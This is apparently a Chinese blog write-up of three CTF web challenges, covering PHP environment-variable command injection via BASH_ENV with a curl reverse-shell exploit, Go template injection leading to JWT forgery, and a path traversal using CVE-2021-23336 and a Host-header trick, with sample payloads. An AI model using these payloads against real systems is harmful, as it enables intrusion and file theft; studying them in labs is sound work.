前言
齐安信的比赛,当时都没发现有这比赛,现在有环境了来尝试复现下。
BB
审计源码:
1 | <?php |
复杂的代码审计往往只需要几行朴实无华的代码,比如这段代码。我们发现我们能传入的只有env参数,并且这个参数还不能有字母。这个地方尝试用八进制绕过(whoami):
接着看这段代码,也十分眼熟啊,直接想到p牛不久前写的文章:
我是如何利用环境变量注入执行任意命令
文章详细剖析了原理,这里我们先直接运用BASH_ENV导致的命令注入,示例:
成功打印了imdude,说明注入点存在,既然如此,我们就可以利用curl反弹shell,exp:
1 | import string |
监听2333端口,运行exp获取flag。
gotm
进入环境一看什么都没有,太爱了,不过给了附件,看了一下是用go语言写的,关键部分代码如下:
1 | func auth_handler(w http.ResponseWriter, r *http.Request) { |
我们总共有四个路由,上面的函数分别对应了四个路由的功能,我们最后要在/flag
中获取flag,必须满足is_admin == true,那么就要求我们必须传入一个正确的X-Token。
而在/
路由的函数中我们发现go语言的ssti,如果我们能令acc,即id的值为{{.}}
,就可以得到secert_key的值,这样就可以伪造jwt了。
首先我们根据/regist
路由的内容注册账号:
1 | /regist?id={{.}}&pw=123 |
接着根据/auth
路由内容登录获取一个token,这个token的is_admin部分是false,我们无法直接使用,但是根据前面的ssti,我们可以访问/
路由获取secret_key:
1 | /auth?id={{.}}&pw=123 |
获取到secret_key的值为this_is_f4Ke_key,看起来还很有迷惑性,接下来伪造jwt:
带上伪造的token访问/flag
路由,获取flag。
Memo Driver
进入页面看起来像是个留言板之类的东西,可以写东西然后保存,再进入/view
路由查看,功能大概这么多。
然后下载附件查看源码,好家伙python写的,这三题用了三个语言写网页,太绝了。源码:
1 | import os |
四个路由分别对应了之前网页的四个功能,接下来最重要的是就是找rce或文件读取的点,发现在/view
路由中存在文件读取:
1 | f = open(path, 'r') |
那么我们就要将path读到flag,那重点还是在这个/view
路由中,分析函数,发现不能存在.
和&
。不过由于题目的python是3.9.0的,因此存在CVE-2021-23336漏洞,这个CVE会把;
當作&
。
这样的话,利用query_params的错误解析,当value以;分割后,query_params会截取;前半部分,而query_params.keys()会将key和a;后面的b,c当作key。
那么如果我们构建这样的payload:
1 | /view?id=flag;/.. |
request.url直接raw URL,沒有进行decode,然后request.url.query也是沒有decode,之后到了request.query_params的被解析成两个params:
1 | id=flag |
而最后在request.query_params.keys()的時候被decode,结合起来的path就变成了:
1 | ./memo/id/../flag |
flag在./memo/flag
这样就成功读取到了flag。
后来看了另一个大佬的wp,发现还有一个更神奇的操作可以构造path,利用到的是Host header,payload是这样构建的:
1 | #/view?id=flag&/.. |
这样payload传入后,request.url.query完全是空的,但是request.query_params依然存在,因此检查就被绕过,达到绕过的效果。
这种方法的原理大概就是,request.url是从Host header构造而来的,Host后如果加了个#
,之后的部分都被当成fragment来解析,而不是 query string,所以request.url.query置空了。而request.query_params是直接拿最原始的query string,因此被保留了。
path构造出来仍是./memo/id/../flag
,不过我在buu没有这个方法复现成功,可能是平台解析的问题。